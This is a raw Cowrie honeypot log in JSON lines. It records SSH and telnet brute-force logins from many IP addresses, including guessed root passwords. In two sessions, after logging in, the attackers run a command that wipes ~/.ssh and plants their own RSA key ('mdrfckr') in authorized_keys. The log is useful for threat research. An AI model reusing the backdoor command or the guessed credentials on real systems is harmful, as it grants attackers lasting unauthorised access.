{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya1234","message":"login attempt [taniya/taniya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:13.910541Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya12345","message":"login attempt [taniya/taniya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:14.997717Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:16.082520Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":36950,"dst_ip":"159.203.135.109","dst_port":23,"session":"69c55ccc102e","protocol":"telnet","message":"New connection: 130.12.180.174:36950 (159.203.135.109:23) [session: 69c55ccc102e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:27.470400Z"}
{"eventid":"cowrie.session.closed","duration":0.6217598915100098,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:28.092039Z","src_ip":"130.12.180.174","session":"69c55ccc102e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.51.148.194","src_port":43728,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ceb36dd1a14","protocol":"ssh","message":"New connection: 218.51.148.194:43728 (10.17.0.5:22) [session: 0ceb36dd1a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:36.546405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:36.551574Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:36.730016Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"user1123","message":"login attempt [root/user1123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:37.479355Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:37.877605Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:37.881012Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:37.884706Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:38.067506Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:38.462521Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:38.465986Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:38.650293Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:38.654656Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.51.148.194","src_port":44180,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cb96c4087e","protocol":"ssh","message":"New connection: 218.51.148.194:44180 (10.17.0.5:22) [session: d2cb96c4087e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:38.836660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:38.840420Z","src_ip":"218.51.148.194","session":"d2cb96c4087e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:39.024782Z","src_ip":"218.51.148.194","session":"d2cb96c4087e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:39.798672Z","src_ip":"218.51.148.194","session":"d2cb96c4087e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:40.986894Z","src_ip":"218.51.148.194","session":"d2cb96c4087e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.51.148.194","src_port":44638,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5f1d5e7d5c4","protocol":"ssh","message":"New connection: 218.51.148.194:44638 (10.17.0.5:22) [session: a5f1d5e7d5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:41.177755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:41.184508Z","src_ip":"218.51.148.194","session":"a5f1d5e7d5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:41.373695Z","src_ip":"218.51.148.194","session":"a5f1d5e7d5c4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:42.163106Z","src_ip":"218.51.148.194","session":"a5f1d5e7d5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:42.345390Z","src_ip":"218.51.148.194","session":"0ceb36dd1a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:14:42.355075Z","src_ip":"218.51.148.194","session":"a5f1d5e7d5c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":54302,"dst_ip":"10.17.0.5","dst_port":22,"session":"62bec9a1bc88","protocol":"ssh","message":"New connection: 157.245.10.239:54302 (10.17.0.5:22) [session: 62bec9a1bc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:15:25.170409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:15:25.173899Z","src_ip":"157.245.10.239","session":"62bec9a1bc88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:15:25.176810Z","src_ip":"157.245.10.239","session":"62bec9a1bc88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:15:25.184501Z","src_ip":"157.245.10.239","session":"62bec9a1bc88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:15:26.190307Z","src_ip":"157.245.10.239","session":"62bec9a1bc88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":48280,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c203e8109d6","protocol":"ssh","message":"New connection: 85.198.97.85:48280 (159.203.135.109:22) [session: 2c203e8109d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:16:55.441124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:16:55.445674Z","src_ip":"85.198.97.85","session":"2c203e8109d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.204.63.118","src_port":40062,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c10e428a851","protocol":"ssh","message":"New connection: 41.204.63.118:40062 (10.17.0.5:22) [session: 4c10e428a851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:31.271608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:31.276587Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:31.610851Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"fjbdfdjkdsfs541544@@","message":"login attempt [root/fjbdfdjkdsfs541544@@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:32.965034Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:33.659028Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:33.662066Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:33.665562Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:33.998524Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:34.757358Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:34.760565Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:17:35.095268Z","src_ip":"41.204.63.118","session":"4c10e428a851","protocol":"ssh"}
